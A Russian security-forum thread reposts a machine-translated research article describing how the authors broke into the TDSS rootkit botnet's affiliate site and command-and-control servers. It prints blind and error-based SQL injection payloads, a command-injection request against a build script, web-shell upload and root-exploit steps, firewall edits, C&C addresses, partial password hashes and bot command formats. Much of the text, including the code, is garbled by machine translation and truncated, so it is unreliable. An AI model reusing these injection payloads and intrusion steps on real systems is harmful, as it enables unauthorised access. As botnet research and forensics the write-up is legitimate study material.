HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.12.2016, 17:33
afonn
Guest
Сообщений: n/a
Провел на форуме:
34692

Репутация: 0
По умолчанию



TDSS является широко распространенное руткит, который образует мощный ботнет. TDSS изучено довольно хорошо сегодня. Howewer, никакие исследования не включают в себя ничего, кроме анализа двоичного кода и общих векторов атак. Основная цель этой статьи состоит в том, чтобы заполнить этот пробел в базе знаний безопасности ИТ, раскрывая механизмы TDSS ботнетов.

Кроме того, мы смиренно надеясь извлечь выгоду существующей методологии расследования компьютерных преступлений. Это исследование показывает общий способ, чтобы найти "цифровой ядро" в cyberband, имея только свой инструмент (вредоносный двоичный файл). Пиз отметить, что этот метод позволяет найти всю техническую информацию о происшествии, в то время как персональный идентификационный и судебное преследование нарушителей остается в правоохранительных органах области.

Статья состоит из двух частей. В первой части процесс разбивания в ботнет покрывается шаг за шагом. Вторая часть посвящена анализу внутренних деталей ботнета. Потому что мы получили доступ к базе данных C & C, объективная статистика ботнета включается в конце статьи.

Ворвавшись в ботнет

Распределение TDSS вредоносных программ осуществляется через партнерскую программу «Dogma Millions».



счет партнера на сайте dogmamillions.com

Наиболее распространенным способом распространять двоичный файл для перенаправления пользователей на целевые страницы, предоставляемые партнерской программе. Визитной пользователя такая целевая страница будет заражен TDSS. Веб-мастер-партнера награжден каждой успешной установки руткита.

Удобные статистика доступна для отслеживания зараженных компьютеров и прибыль. Кроме того, веб-мастер может создавать отдельные субсчета для анализа эффективности различных транспортных кампаний.



Дополнительная учетная запись с ссылкой для загрузки исполняемого файла TDSS

Во-первых, сайт партнерская программа была проанализирована. Это позволило нам получить доступ к статистике базы данных и дампа веб-мастеру domamillions.com сервера. После этого мы перешли к анализу серверов C & C. Инъекция SQL через конфигурационный файл бота можно читать скрипты на сервере. После некоторых исследований нам удалось внедрить веб-оболочку, через одну из уязвимостей, и, наконец, получили корень на C & C. Давайте вдаваться в подробности.

Ворвавшись в партнерской программе

База данных MySQL v5 была установлена на сервере dogmamillions.com. Таким образом, все запросы к базе данных, как описано ниже, выполняются в MySQL языка запросов.

Во- первых, доступ к базе данных была Gaine: во - первых , с помощью инъекции слепых SQL - атаки , а затем с помощью инъекции SQL атаки.

Как уже упоминалось ранее, пользователи могут создавать dogmamillions.com субсчета. Они создаются с помощью HTTP GET-запроса:

http://dogmamillions.com/index.php?r...count&create=1

После выполнения этого запроса новый субсчет с идентификатором 1 создается учетная запись партнера. Он может быть удален, указав его идентификатор в соответствующем GET-запроса:

http://dogmamillions.com/index.php?r...count&delete=1

Слепой атака SQL-инъекция была выполнена следующим образом. Необходимо было создать субсчет с любым ID, а затем попытаться удалить его. Параметр удаления запроса был уязвим, поэтому можно было выполнить атаку, отправив следующий запрос на сервер:

http://dogmamillions.com/index.php?...f(ord(substring((version()),1,1))>1,1 ,0xffff)

Если значение ord(substring((version()),1,1))больше 1, чем ifусловие возвращает 1, и запрос выглядит следующим образом (упрощенно):

http://dogmamillions.com/index.php?r...count&delete=1

Если условие ложно, чем запроса будет выглядеть следующим образом:

http://dogmamillions.com/index.php?r...&delete=0xffff

Таким образом, субсчет будет удален только если условие deleteпараметра верно. Blind SQL Injection атаки могут быть выполнены с использованием этой информации.

Другой вариант той же атаки возможно. createПараметр команды для создания субсчете также уязвима. После запроса создаст субсчетом с идентификатором равным значению первого символа вывода команды версии ():

http://dogmamillions.com/index.php?...ccount&create=ord(substring((version( )),1,1))

Поэтому, если версия базы данных сервера больше 5, чем первый символ строки, возвращаемой версии () команда "5". ASCII-код этого символа 53, поэтому субсчет с идентификатором 53 будет создана учетная запись партнера.

филиалы

affId

affAid

affLogin

affPassword

affGroup

affBalance

affBalanceEarnings

affBalancePayout

affBalanceRefferal

affbalancecpv

affBalanceBonus

affBalancePenalty

affiliatesaccounts

affId

affSid

бонусы

страны

cpvearnings

cronUpdateStatFeeds

cronId

cronCreated

cronStart

cronCompleted

cronDateFrom

cronDateTo

cronStatus

crontime

домены

Я бы

домен

статус

категория

группы

приглашает

менеджеры

Новости

платежи

paymentsfields

paymentsperiods

paymentsproperties

paymentstypes

штрафы

statisticsearnings

statisticsinstalls

statisticsrefferals

substatearnings

Перечень таблиц из dogmamillions.comбазы данных

1: Ro **: c94405aee9b728bad ************ B1F

3: **** над: 5f4dcc3b5aa765d61 ************ F99

Первые субсчета из affiliatesтаблицы dogmamillions.com dogmamillions.comбазы данных

Эксплуатация описанных уязвимостей позволило нам проанализировать сервер баз данных dogmamillions.com.

Ворвавшись в C & C

По состоянию на время этого анализа, серверы C & C из TDSS бот-сети были расположены в следующих доменах и IP-адресов (фрагмент файла конфигурации руткита):

[Tdlcmd]

серверы = https: //d45648675.cn/; https: //d92378523.cn/; https: //91.212.226.62/

wspservers = HTTP: //b11335599.cn/; HTTP: //b00882244.cn/

popupservers = HTTP: //m3131313.cn/

Ботнет контролируется тремя серверами , указанными в serversобласти конфигурационного файла. Таким образом , эти серверы проверяются на наличие уязвимостей в первую очередь.

Анализ бинарного файла бота показал, что данные отправляются на сервер со следующим алгоритмом:

Создание пакета данных;

Закодировать его с помощью алгоритма RC4, использование IP или доменное имя целевого сервера в качестве ключа;

Закодировать его дополнительно с помощью алгоритма Base64;

Отправка данных на сервер.

Псевдокод алгоритмов кодирования и декодирования, выглядит следующим образом:

сhar * encoded_data = base64_encode (rc4_encrypt (данные, ключ));

сhar * decoded_data = rc4_decrypt (base64_decode (данные), ключ);

В данных, которые передаются на сервер троянцем, уязвимости были обнаружены, которые могут быть использованы для выполнения Blind SQL-инъекции и атаки SQL-инъекции.

В частности, после того, как неверный запрос GET сервер возвращается сообщение об ошибке с закодированной строки и полный путь к уязвимому сценарию сервера внутри.

Сообщение об ошибке запроса неправильного сервера

Сообщение об ошибке запроса неправильного сервера

Кодированная строка декодирует следующей команды:

удаления | 42F831D92B3BE5076B635F2347C80A41 | 10000 | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll |% SYSDIR% \ qo.dll | успех

Точное назначение этой команды в момент нападения была неясна. Но мы могли бы обнаружить, что третий параметр в спайка разделенным списке уязвима.

Первая версия использовать для чтения данных из базы данных была разработана с использованием метода задержки. Атака запрос как следующим образом:

удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((версия ()), 1,1))> 1, сон (3), 1) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ Qo .dll | успех

Эта атака основана на команде , которая задерживает ответ базы данных в течение 3 секунд в случае успеха и не делает никаких задержек в случае неудачи. Это стандартный вариант слепых SQL - атаки задержки впрыска, за исключением факта , что мы использовали sleep()вместо того , benchmark()так как он не делает нагрузку на СУБД.

База данных

Прежде всего мы проверили , если текущий пользователь имеет привилегии для чтения и записи данных сервера ( File_priv). Чтобы выяснить это, мы послали следующий запрос к серверу:

удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS (CHAR (64), пользователь, хост) как пользовательский ())), 1,1))> 1, сон (3), 1) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ qo.dll | успех

Результат использовать для Blind SQL Injection с задержкой

Результат использовать для Blind SQL Injection с задержкой

Атака прошла успешно, таким образом, мы имели возможность читать и записывать файлы на сервере. Однако, так как чтение файлов с предыдущей эксплуатации будет очень медленным, запрос к базе данных была переработана следующим образом:

удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((версия ()), 1,1))> 1,1, (выберите 1 союз выберите 2)) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ qo.dll | успех

Если условие истинно, новая команда возвращает ошибку, и если условие ложно, то команда будет успешно завершена.

Описанная эксплоит позволил нам сбросить базу данных сервера и читать файлы сценариев.



Результаты эксплуатации без задержки

Сценарии

Анализ файла index.phpи сценариев , включенных в него показали новую уязвимость, которая , наконец , позволил нам выполнить классическую атаку типа SQL Injection. Давайте анализировать код index.phpи modules.php:

"https://213.133.110.18/phpmyadmin/$1")

url.rewrite однократно = ( "^ / 087dggl094aa / \? помощь = (. *) & с.и.д. = (. *) $" => "/MakeBuild.php?aid=$1&sid=$2")

accesslog.filename = "/var/log/lighttpd/build.log"

}

server.document-корень = "/ Var / WWW / dm_builder / PHP /"

}

$ SERVER [ "гнездо"] == "212.117.162.50:80" {

$ HTTP [ "хостов"] = ~ "(. *)?" {

server.document-корень = "/ Var / WWW / dm_builder / PHP /"

# Url.redirect = ( "^ / PHPMyAdmin /(.*)" => "https://213.133.110.18/phpmyadmin/$1")

url.rewrite однократно = ( "^ / 087dggl094aa / \? помощь = (. *) & с.и.д. = (. *) $" => "/MakeBuild.php?aid=$1&sid=$2")

accesslog.filename = "/var/log/lighttpd/build.log"

}

server.document-корень = "/ Var / WWW / dm_builder / PHP /"

}

$ SERVER [ "гнездо"] == "91.212.226.60:443" {

ssl.engine = "включить"

ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"

server.document-корень = "/ Var / WWW / двигатель / общественность"

server.errorlog = "/var/log/lighttpd/engine_error.log"

accesslog.filename = "/var/log/lighttpd/engine_access.log"

url.rewrite = однократно ( "^ / (. *) $" => "/index.php?request=$1")

}

Часть engine.conf

Файл engine.conf содержатся настройки для шести серверов. Только двое из них были настроены для перенаправления HTTP - запросов index.php. Остальные серверы были настроены для перенаправления запросов HTTPS на MakeBuild.php.

MakeBuild.phpСценарий был разработан, чтобы собрать и настроить TDSS руткит двоичный файл. Сценарий принимает ряд аргументов, один из них поставляя информацию отладки для двоичного файла.

\ п + ------------------------------ + \ п"; print_r ($ выход); эхо "\ п = ------------------------------ = \ п"; выход ( 'Builder статус выхода:'. $ статус_завершения); }

Часть MakeBuild.phpсценария

Как вы можете видеть из листинга, аргументы сценария, не проверяются перед передачей их в exec()функцию, поэтому удаленное выполнение команды может занять место там. Кроме того, dbgпараметр позволяет печатать выходные данные выполняемой команды.

взял сдесь http://www.nobunkum.ru/analytics/en-tdss-botnet
 
Ответить с цитированием

  #2  
Старый 06.12.2016, 17:35
afonn
Guest
Сообщений: n/a
Провел на форуме:
34692

Репутация: 0
По умолчанию

продолжение

Следующий запрос будет напечатать список всех файлов в текущем каталоге:

http://91.212.226.63/087dggl094aa/Ma...aid=;ls;&dbg=1

Мы использовали эту уязвимость для загрузки веб-оболочку на сервер.

Повышение привилегий

Нам удалось получить привилегии суперпользователя на сервере, эксплуатируя известную sock_sendpage()уязвимость. Существующий эксплоит должен быть изменен , чтобы разрешить выполнение в 64 - разрядной среде.



Ботнет панель администрирования

В той же директории с engine.confфайлом другой конфигурационный файл был найден, в котором содержатся параметры панели управления ботнетом.

$ SERVER [ "гнездо"] == "91.212.226.59:443" {

ssl.engine = "включить"

ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"

# $ HTTP [ "хостов"] = ~ "^ engineadmin \ .com $" {

server.document-корень = "/ Var / WWW / двигатель / инструменты / общественность"

server.errorlog = "/var/log/lighttpd/admin.engine_error.log"

accesslog.filename = "/var/log/lighttpd/admin.engine_access.log"

url.rewrite = однократно ( "^ / ([0-9a-Za-Z /]+)/?\??(.*=.*)?$" => "/index.php?request=$1& $ 2 ")

$ HTTP [ "URL"] = ~ "^ /" {

auth.backend = "Htpasswd"

auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine"

auth.require = (

"/" => (

"Метод" => "основной",

"Царство" => "Используйте свой номер кредитной карты, как имя пользователя, CVV2 в качестве пароля Спасибо.",

"Требуют" => "действительный-пользователь"

)

)

}

#}

}

Содержание engine_admin.confфайла

Как вы можете видеть из файла, IP - адрес панели администрирования был 91.212.226.59. Сначала мы не смогли открыть его в браузере, так как наш IP - адрес не был в белый список для доступа к панели. Таким образом , мы должны были исправить белый список путем модификации правил брандмауэра в /root/ipt.rulesфайле.

-A -i ВВОД ло -j ACCEPT

-a -s Ввод 66.148.74.126/32~~HEAD=poss~~poss -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT

-A -s ВВОД 188.40.72.68/32 -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT

-A -s ВВОД 188.40.72.125/32 -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT

-A -s ВВОД 204.12.213.144/29 -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT

-a -s Ввод 91.212.226.49/32~~HEAD=poss~~poss -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT

-А -d 212.117.162.50/32~~HEAD=poss ВХОД -p -m TCP протокола TCP -m мультипортовый --dports 443,80 -j REJECT --reject-ИКМП-ПОРТ-недостижим

-А -d 91.212.226.59/32~~HEAD=poss ВХОД -p -m TCP протокола TCP -m мультипортовый --dports 443,80 -j REJECT --reject-ИКМП-ПОРТ-недостижим

-А -i Eth0 -p -m Ввод TCP протокола TCP -m мультипортовый --dports 3306 -j REJECT --reject-ИКМП-ПОРТ-недостижим

-A -s ВВОД 195.138.81.135/32 -p TCP -m TCP --dport 22 -j ACCEPT

-А -i Eth0 -p -m ВВОД TCP TCP --dport 873 -j REJECT --reject-ИКМП-ПОРТ-недостижим

-А -i Eth0 -p -m ВВОД TCP TCP --dport 22 -j REJECT --reject-ИКМП-ПОРТ-недостижим

COMMIT

Исходное содержимое ipt.rulesфайла

После разрыва начальной проверки авторизации IP, мы нашли еще одно препятствие для доступа к панели: Basic Authorization. Для прохождения базовой аутентификации, мы добавили новый логин к файлу htpasswd.engine. После получения доступа к серверу, можно было также прочитать текстовый пароль из базы данных.



Панель управления имеет дружественный пользовательский интерфейс, позволяющий просматривать подробную статистику ботнетов, такие как: общую сумму установки руткитов в день, национальность каждого бота, версии операционной системы и версии браузера. Кроме того, с помощью панели можно просмотреть дополнительные загружаемые модули для руткита, а также для просмотра команд которые в настоящее время выполняются роботами.



Статистика инфекций по дням



Статистика по ОС



Запущенный команды



Статистика по странам



TDSS модули

Изменение серверов C & C

В то время как мы играли вокруг с панели управления, новая версия руткита (3.64) начал распространяться, который общался с совершенно разными серверами C & C

[Tdlcmd]

серверы = https: //a57990057.cn/; https: //a58990058.cn/; https: //94.228.209.145/

wspservers = HTTP: //c36996639.cn/; HTTP: //c58446658.cn/

popupservers = HTTP: //m2121212.cn/

Сценарии управления были изменены на новом сервере. В частности, уязвимость , которая позволила отобразить вывод команды в сообщении об ошибке сервера был установлен. Но другие уязвимые места, которые мы нашли все еще были там, так что можно было прочитать index.phpфайл. В соответствии с его кодом, все исключения теперь записываются в лог - файл. Параметры сервера были изменены тоже. Помимо всего прочего, фронтэндом была установлена (Nginx) в дополнение к lighttpdсерверу HTTP. engine.confФайл не изменился.

Панель конфигурации была перенесена в 188.72.242.191, в то время как наш бэкдор сценарий остался на 188.72.242.190. Таким образом, нам не удалось получить доступ к бэкдор. Следующий сценарий был разработан, чтобы решить эту проблему:
 
Ответить с цитированием

  #3  
Старый 06.12.2016, 17:35
afonn
Guest
Сообщений: n/a
Провел на форуме:
34692

Репутация: 0
По умолчанию

продолжение снова

База данных и скрипты

На программном обеспечении сервера MySQL установлен для доступа к базам данных. LightTPD с поддержкой PHP используется для обработки HTTP - запросов. Часть данных, используемых вмомент наиболее часто кэшируются в памяти с помощью Memcached программы.

Панель администратора скрипты и скрипты ботнет шлюза расположены в/var/www/engineдиректории, которая организована следующим образом :

+ --- Хрон - регулярные скрипты PHP

+ --- Данных - база данных GeoIP адресов и некоторых текстовых файлов

+ --- Библиотека - различные PHP библиотеки, используемые скрипты

+ --- Общественностью - сценарии для обработки запросов от ботов

| (Корневой каталог шлюза ботнет)

\--- инструменты

| + --- Контроллеры - сценарии панели администрирования

| + --- Макеты - базовый шаблон HTML для панели управления

| + --- Публичные - сценарии базовая панель администрирования

| | (Корневой каталог панели администрирования веб-сервера)

| + --- Вид - HTML макеты страниц панели администрирования различных

+ --- Configuration.php - параметры доступа к базе данных и т.д.

На сегодняшний день доступа, сервер базы данных содержится 47 таблиц с общим 17 719 469 записей, а его размер составлял около 2,6 Гб.

Имена таблиц и его цели:

название таблицы Количество записей размер данных Цель

affiliates 512 80,0 кБ Партнеры счета и его статистика

affiliatesaccounts 607 64,0 кБ

affiliatesregistrations 507 64,0 кБ

affiliatesstatistics ≈ 62 136 8,5 МБ

affiliatesstatisticsbrowser ≈ 53 072 7,1 МБ

affiliatesstatisticsbuild ≈ 5 979 072 655,8 МБ

affiliatesstatisticscountry ≈ 245 253 26,1 МБ

affiliatesstatisticssts 63 3,3 кБ

affiliatesstatisticssystem ≈ 56 982 7,1 мБ

bots ≈ 5 247 199 1,4 ГБ Основная таблица с информацией о ботов

browsers 3 690 240,0 кБ Дополнительная информация о ботов (версии браузера, руткит версии, TDLCMD.DLLверсии модуля, страны, версия ОС)

builds 172 16,0 кБ

countries 253 16,0 кБ

systems 101 16,0 кБ

commands 55 16,0 кБ Команды для ботов, его статистику, историю команд, дополнительные параметры

commandsexecuted ≈ 4 546 977 337,5 МБ

commandshistory 1 590 224,0 кБ)

commandsinfo 55 64,0 кБ

commandsproperties 909 64,0 кБ

modules 13 400,0 кБ Исполняемые модули для ботов

redirects 0 - URL-перенаправлений

redirectsexecuted 0 -

remover_bho 6 050 1,5 МБ Статистика removerмодуля

remover_bho_stat 20 1,9 кБ

remover_dda 642 144,0 кБ

remover_dda_stat 21 1,9 кБ

remover_dir ≈ 37 991 7,5 МБ

remover_dir_stat 20 1,9 кБ

remover_errors 18 914 2,5 МБ

remover_extra ≈ 289 449 54,6 МБ

remover_extra_stat 18 1,9 кБ

remover_guid ≈ 21 220 4,5 МБ

remover_guid_stat 20 1,9 кБ

rules 0 - неизвестный

ruleshistory 0 -

statuses 1 982 72,3 кБ неизвестный

statuses_limits 1 138 919 115,0 МБ

statuses_statistics 3 956 102,8 кБ

users 10 16,0 кБ Учетные записи пользователей панели администрирования

Давайте посмотрим через структуру наиболее интересных таблиц.

Запросы от ботов к серверу

Сразу после установки, бот начинает опроса сервера для команд в цикле. Как уже было сказано выше, запрашивает бота сначала кодируются в RC4, а затем в base64, и, наконец, отправляется ботнет шлюз через HTTPS.

Формат запроса команд может меняться от версии к версии руткита. В большинстве verstions, запрос выглядит следующим образом перед шифрованием:

bot_ID | aff_ID | aff_SID | rootkit_ver | tdlcmd_ver | os_ver | языки | браузер | build_date | install_date

Описание полей:

поле Цель

bot_ID Уникальный идентификатор бота, например, 7a91eb86-a6be-4db5-8694-0337dad2c75d

aff_ID владелец Bot ID

aff_SID Суб идентификатор учетной записи

rootkit_ver Rootkit версия

tdlcmd_ver Версия TDLCMD.DLLмодуля (базовый модуль полезной нагрузки бота)

os_ver версия ОС

lang язык операционной системы

browser Браузер зараженного компьютера. Значение этого поля является путь к исполняемому файлу браузера, найденного в разделе реестраHKEY_LOCAL_MACHINE\SOFTWARE\Classes\ HTTP\shell\open\command

build_date дата компиляции исполняемых файлов бота (необязательно)

install_date Дата инфекции (по желанию)

Помимо запросов для команд, команда сервера сценариев может обрабатывать некоторые специальные запросы, подобные следующему:

MODULE_ID | значение_1 | значение_2 | ... | value_N

поле Цель

module_ID Идентификатор типа запроса (что эквивалентно модулю имя которого указан в запросе)

value_1-value_N Случайное количество строки и / или целочисленных данных, в зависимости от типа запроса

Нет функции не для выполнения специальных запросов жестко прописаны в руткита двоичном, но это может произойти в результате выполнения другой команды, такие как команда, чтобы загрузить дополнительный модуль полезной нагрузки.

Давайте посмотрим , как сервер обрабатывает запросы от ботов. В первых строках/var/www/engine/index.phpсценария, после включения необходимых заголовочных файлов, запрашивает декодирование происходит:

Connect (MCACHE_HOST, MCACHE_PORT);

// Получить информацию о боте из полей запроса

$ RequestName = $ запрос [0];

$ RequestAffAid = $ запрос [1];

$ RequestAffSid = $ запрос [2];

$ RequestRk = $ запрос [3];

$ RequestCmd = $ запрос [4];

$ RequestSystem = $ запрос [5];

$ RequestLang = $ запрос [6];

$ RequestBrowser = $ запрос [7];

если ($ requestCount == 8) {

// Нет никакой информации о компиляции и инфекции даты в запросе

$ RequestBuildDate = 0;

$ RequestInstallDate = 0;

} Еще {

$ RequestBuildDate = StrToTime ($ запрос [8]);

$ RequestInstallDate = StrToTime ($ запрос [9]);

}

$ RequestBuild = "{$ requestRk} _ {$ requestCmd}";

$ RequestIp = ip2long ($ _SERVER [ 'REMOTE_ADDR']);

$ RequestAffId = NULL;

$ RequestSystemId = NULL;

$ RequestBrowserId = NULL;

$ RequestBuildId = NULL;

// Активировать модуль engine.php

// Он добавляет информацию о боте в базу данных и обрабатывает запрос команды

включают в себя ( 'engine.php');

$ ObjMemcache-> близко ();

DBase :: разъединение ();

...

При получении регулярного запроса команд, сервер отправляет список команд обратно в бот.Команды зашифрованы в RC4, бот ID служащий в качестве ключа шифрования.

Партнеры счета

The affiliatesтаблица содержит информацию о партнерах счетов. Такие счета могут быть изменены оператором панели администрирования.

CREATE TABLE IF NOT EXISTS `affiliates` (

`AffId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица

`AffAid` символ (20) NOT NULL, - идентификатор учетной записи партнера

`AffGroup` INT (11) NOT NULL без знака, - группа учетной записи партнера

`AffLogin` символ (32) по умолчанию NULL, - имя (Логин) партнера счета PRIMARY KEY (` affId`)

);



Партнер по учетным записям Редактирование в ботнет панели администратора

Каждый партнер может владеть любое количество бот-исполняемых файлов. Идентификатор партнера жестко закодировано в файле бота исполняемый во время компиляции. После установки руткита идентификатор хранится в файле config.ini в собственной файловой системе руткита.

Субаккаунты могут быть использованы для группы бот исполняемые файлы партнера.



Идентификаторы счета и субсчета партнера хранятся в config.iniфайле.

Партнерские счета могут управляться напрямую отправив запрос на ботнет шлюз:

услуги | operation_code | ARGUMENT_1 | ARGUMENT_2 | ... | argument_N

поле Цель

operation_code Код операции, которая будет выполнена

argument_1-argument_N Необязательный аргумент - его формат определяется конкретной операции

Операция коды определены в следующей таблице:

код операции аргументы Цель

100 affAid,affLogin,affGroup Создание новой учетной записи партнера.

110 affId Удаление существующей учетной записи.

120 affAid Показаны все субсчета для данной учетной записи.

150 engineType Добавление новой учетной записи с автоматической генерации affAid. Значение affGroupвыбирается взависимости от величиныengineType

200 affAid, affSid,statDateFrom,statDateTo Запрашивающий номер бот установок для данной учетной записи и за определенный период времени.

201 affAid, affSid,statDateFrom,statDateTo Запрашивающая бота по статистике стран для данной учетной записи и за определенный период времени.

301 - Перечень существующих учетных записей партнеров.

Запрос параметров детали:

параметр Цель

affId Параметры соответствуют одноименных полей в affiliatesтаблице

affAid

affSid

affLogin

statDateFrom Даты в Y-m-dформате

statDateTo

affGroup Идентификатор группы партнеров

Список существующих групп партнеров находится в /var/www/engine/data/groups.txt:

Филиалы Группы

1 - Тест Установлено

10 - Наши Установлено

20 - InstallConverter

30 - ProfitCash

40 - ReliefPPC

50 - ConvertPPC

Пример: запрос для количества ботов установок между 01.08.2009 и 01.07.2010 на субсчете 0 партнера с affAid10000 выглядит следующим образом :

услуги | 200 | 10000 | 0 | 2009-08-01 | 2010-07-01

Основная таблица ботнет

После того, как бот отправляет запрос на команды в первый раз, он добавляется к таблице '' ботами базы данных сервера. Значения affId, affSidи botNameполя извлекаются из соответствующих полей запроса от бота.

Класс mBots, который позволяет работать с botsтаблицей, находится в/var/www/engine/library/models/mBots.phpфайле. Функции добавления и редактирования информации бот реализуются в /var/www/engine/public/engine.php.

Структура botsтаблицы:

CREATE TABLE IF NOT EXISTS `bots` (

`AffId` INT (11) NOT NULL без знака, - идентификатор учетной записи партнера

`AffIdx` INT (11) NOT NULL без знака, - как правило, равна affId

`AffSid` SmallInt (6) без знака NOT NULL по умолчанию '1', - идентификатор дополнительной учетной записи

`BotId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица

`BotName` символ (60) NOT NULL, - уникальное имя бота (параметр botid в config.ini)

`BotIp` BIGINT (20) NOT NULL, - IP бот

`BotAdded` INT (11) NOT NULL без знака, - дата первого запроса бота к серверу

`BotAccess` INT (11) NOT NULL без знака, - дата последнего запроса бота к серверу

`BotCountry` TINYINT (4) без знака NOT NULL, - идентификатор бота страны

`BotSystem` SMALLINT (6) без знака NOT NULL, - идентификатор версии Windows, зараженного компьютера

`BotBrowser` SMALLINT (6) без знака NOT NULL, - идентификатор версии браузера зараженного компьютера

`BotBuild` SMALLINT (6) без знака NOT NULL, - идентификатор версии руткита и модуля tdlcmd.dll

PRIMARY KEY ( `botId`)

KEY `botName` (` botName`),

KEY `affid_index` (` affId`),

KEY `botAdded_index` (` botAdded`)

);

команды Bot

В конце engine.phpсценария /var/www/enginedata/commands.phpфайла активируется. Его цель состоит в том, чтобы отобразить команды , которые должны выполняться с помощью бота.commands.phpскрипт генерируется динамически , используя данные из commandsinfoтаблицы.

CREATE TABLE IF NOT EXISTS `commandsinfo` (

`CommOwner` INT (11) NOT NULL по умолчанию '1', - идентификатор учетной записи пользователя, который добавил команду

`CommId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица

`CommName` VARCHAR (255) NOT NULL, - имя команды

`CommDesc` текст NOT NULL, - описание команды

`CommExe` VARCHAR (255) NOT NULL, - URL исполняемого файла (для команд, связанных с загрузки и исполнения исполняемых файлов)

`CommStatus` перечислимого типа (" отключить "," включить ",

'Удален', 'Темп') NOT NULL по умолчанию 'Enable', - состояние команды (активная, неактивная, временная, удалена)

`CommAdded` DateTime NOT NULL, - время создания команды

`CommCode` текст NOT NULL, - код команды PHP для включения в commands.php

`CommCodeCond` текст NOT NULL, - дополнительные параметры команды

`CommCodeComm` NOT NULL текст,

`CommOrder` INT (11) NOT NULL, - команда номер заказа

PRIMARY KEY ( `commId`)

);

Класс mCommands, который позволяет работать с командами, находится в/var/www/engine/library/models/mCommands.php. Процедура для динамического созданияcommands.phpфайла реализуется в возрожденном методе - это вызывается командой из панели управления:

Функция регенерировать () {

$ Код = '';

// Получить информацию обо всех доступных команд из базы данных

$ Команды = $ this-> getSummaryFull ();

для ($ I = 0; $ г Получить код ($ команд [$ я] [ 'commId']). "\ Г \ п \ г \ п \ г \ п";

}

}

// Прочитать файл шаблона

// Он содержит статический код, который должен быть включен в commands.php

. $ TemplateFile = имя_директории (__ FILE __) DS.'commands.template ';

$ Fp = FOPEN ($ TemplateFile, 'г');

$ Шаблон = Fread ($ ∥f∥p, размер файла ($ TemplateFile));

fclose ($ Ф.П.);

$ Шаблон = str_replace ( '% COMMS%', $ код, $ шаблон);

// Запись commands.php на диск

$ Файла = '/var/www/enginedata/commands.php';

$ Fp = FOPEN ($ файла, 'W');

FWRITE ($ ∥f∥p, $ шаблон);

fclose ($ Ф.П.);

}



Добавление новой команды в панели администрирования

Можно указать следующие параметры для каждой команды:
  • Целевые идентификаторы стран
  • Идентификаторы партнер Target
  • версии браузера Target
  • Версии руткита и модуля tdlcmd.dll.
  • Время жизни команды
  • Максимальное количество раз, команда может быть выполнена.
Оператор панели администрирования также может редактировать часть PHP кода , который будет включен в commands.php.



Код команды редактирования в панели администрирования

Любой бот может обрабатывать следующие команды:

команда Описание

botnetcmd.SetCmdDelay(Seconds) Задает интервал между запросами сервера

botnetcmd.ModuleDownloadUnxor(URL, LocalPath) Загрузки кодируются исполняемый модуль

botnetcmd.FileDownloadRandom(URL, LocalPath) Загрузки случайный файл

botnetcmd.LoadExe(FileURL) Загрузка и выполняет исполняемый файл

botnetcmd.LoadExeKnock(FileURL, KnockURL) Загрузка и выполняет произвольный файл и отправляет HTTP-запрос на случайный URL на успех

botnetcmd.InjectorAdd(ProcessName, DLLName) Инъекция DLL в указанном процессе ( *- во все процессы)

tdlcmd.ConfigWrite(Section, Parameter, Value) Пишет случайные данные в config.ini

tdlcmd.Download(URL, LocalPath) Загрузки случайный файл.

Деструктивная модули

Основные функции (полезная нагрузка) от TDL3 руткита обеспечиваются дополнительными модулями. Эти модули являются нормальными динамические библиотеки, которые загружаются с сервера и впрыскивают в случайном или текущий процесс пользовательского режима.

Информация о доступных модулей полезной нагрузки хранится в таблице модулей:

CREATE TABLE IF NOT EXISTS `modules` (

`ModId` INT (11) без знака NOT NULL AUTO_INCREMENT, - ключевая таблица

`ModName` символ (255) NOT NULL, - имя модуля

`ModData` LONGBLOB, - данные исполняемого образа модуля

`ModLoads` INT (11) NOT NULL без знака, - количество загрузок модуля

PRIMARY KEY ( `modId`)

);

Файл модуля можно загрузить на зараженный компьютер с помощьюModuleDownloadUnxorкоманды. Она имеет следующие параметры:

модуль |! ModuleId ключ!

поле Цель

ModuleId Идентификатор модуля (значение modIdполя в modulesтаблице)

Key Любая строка (по желанию). Это значение используется в качестве ключа кодирования RC4 для запрашиваемого модуля.

Запрос на модуль загрузки обрабатывается в /var/www/engine/public/modules.phpфайле:

getCommand ($ commId);

$ CommDetailsCreate = FALSE;

если ($ commDetails == FALSE) {

$ CommDetails [ 'commid'] = $ commid;

$ CommDetails [ 'commRefences'] = 0;

$ CommDetails [ 'commSuccesed'] = 0;

$ CommDetailsCreate = TRUE;

}

// Состояние 1

если ($ botBuild> = 26) {

